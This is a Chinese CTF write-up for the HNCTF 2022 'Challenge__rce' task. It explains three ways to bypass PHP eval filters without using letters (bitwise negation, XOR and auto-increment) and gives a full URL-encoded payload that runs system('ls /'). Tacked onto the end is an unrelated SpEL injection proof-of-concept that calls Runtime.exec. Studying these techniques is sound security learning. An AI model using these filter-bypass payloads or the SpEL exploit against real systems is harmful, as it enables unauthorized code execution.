[HNCTF 2022 Week1]Challenge__rce

文章详细介绍了在PHP环境中如何实现无字母RCE(远程代码执行)的三种主要方法:取反、异或和自增。通过示例代码展示了如何构造payload来绕过限制,特别强调了在当前过滤条件下,自增方法的应用。同时,文章提供了一个具体的payload实例,并提到了长度限制下的解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.打开环境。

查看源码传入hint获得源码。

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

无参RCE,主要方法有三种,取反,自增,异或

这里因为~和^都被过滤了,所以考虑自增。

不过先总结一下无字母RCE的常见方法及原理:

1.取反

<?php
$a=~urlencode('phpinfo');
echo $a;
$b=~urldecode($a);
echo $b;
?>

本地测试结果:

 

也就是对$a进行取反操作,形成非常规字符绕过限制,在浏览器解析的时候,再还原成原来的payload.

2.异或

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

 对字符串进行异或操作时,php解析时会将异或结果自动转换为字符串,以其给$_赋值,再通过拼接获取payload

3.自增

  • $_=[].''; //得到"Array"

  • $___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"

由于php变量没有赋值时默认是零,且数组与字符串拼接时返回Array,由此由A自增可以得到全部26位字母通过拼接构造payload.

本地测试结果:

<?php
$a = "".[];
echo $a;
?>

结果:

而在本题,由于长度限制,所以可以构造参数,再上传参数减少长度。

payload:

rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20
1=system&&2=ls /

参考文章:

无数字字母rce总结(取反、异或、自增、临时文件)

### 关于 SpEL RCE 的 Python 实现 Spring Expression Language (SpEL) 是 Spring 框架中的一个重要特性,它允许开发者通过字符串表达式动态执行某些逻辑。然而,在实际应用中如果未对输入进行严格校验,则可能导致远程代码执行漏洞(RCE)。以下是有关如何构建一个简单的 PoC 脚本的说明。 #### 构建 SpEL RCE 的基本原理 攻击者可以通过构造恶意的 SpEL 表达式来触发目标服务器上的任意命令执行行为[^1]。通常情况下,这种类型的漏洞利用依赖于 HTTP 请求参数或者其它可控制的数据源注入到后台服务运行环境中去解析并执行这些危险语句。 下面展示了一个基于 `requests` 库发送请求给存在该类缺陷的应用程序实例化过程: ```python import requests url = 'http://example.com/vulnerable-endpoint' payload = { '#root': '''T(java.lang.Runtime).getRuntime().exec('touch /tmp/spel_rce_test')''' } response = requests.post(url, data=payload) if response.status_code == 200: print("Payload sent successfully.") else: print(f"Failed to send payload. Status Code: {response.status_code}") ``` 此脚本尝试向指定 URL 发送 POST 请求,并附带一个特殊设计好的键值对作为负载数据传递进去[#2]。其中的关键部分就是设置名为 "#root" 的字段内容包含了调用 Java Runtime 类方法 exec 来创建一个新的文件 "/tmp/spel_rce_test" ,以此验证是否存在权限以及能否成功实施攻击操作 [#3]. 需要注意的是上述例子仅用于学习研究目的,请勿非法测试任何未经授权的目标系统! --- ###
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值